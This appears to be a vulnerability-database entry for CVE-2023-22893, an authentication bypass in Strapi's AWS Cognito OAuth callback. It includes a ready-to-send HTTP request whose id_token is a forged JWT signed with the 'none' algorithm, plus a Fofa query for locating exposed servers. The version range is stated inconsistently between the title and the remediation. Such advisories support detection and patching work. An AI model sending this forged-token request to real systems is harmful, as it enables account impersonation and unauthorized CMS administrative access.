| Title | Strapi Versions <=4.5.6 - Authentication Bypass |
|---|---|
| Author | iamnoooob,rootxharsh,pdresearch |
| Severity | High |
| Impact | Unauthenticated attackers can forge JWT tokens using the "None" algorithm to bypass AWS Cognito authentication and impersonate any Strapi user, gaining unauthorized access to CMS content and administrative functions. |
| Remediation | Update Strapi to version 4.5.6 or later which properly verifies access and ID tokens issued during OAuth flow with AWS Cognito login provider. |
| CVSS Score | 7.5 |
| EPSS Score | 0.66479 |
| CVE ID | CVE-2023-22893 |
| CWE ID | CWE-287 |
| Fofa Query | app="strapi-Headless-CMS" |
| Tags | cve cve2023 strapi authenticated aws cognito vkev vuln |
Strapi through 4.5.5 does not verify the access or ID tokens issued during the OAuth flow when the AWS Cognito login provider is used for authentication. A remote attacker could forge an ID token that is signed using the ‘None’ type algorithm to bypass authentication and impersonate any user that use AWS Cognito for authentication.
GET /api/auth/cognito/callback?access_token=czdmpdns&id_token=eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJjb2duaXRvOnVzZXJuYW1lIjoic3F4Zmhib2tqZiIsImVtYWlsIjoiUnhaWEVtQG9TQXlCLmNvbSJ9. HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh, Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.6 Safari/605.1.15
Connection: close
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2023/CVE-2023-22893.yaml
🦈 Packet Capture: ⬇️ Download cve-2023-22893.pcap
N/AN/A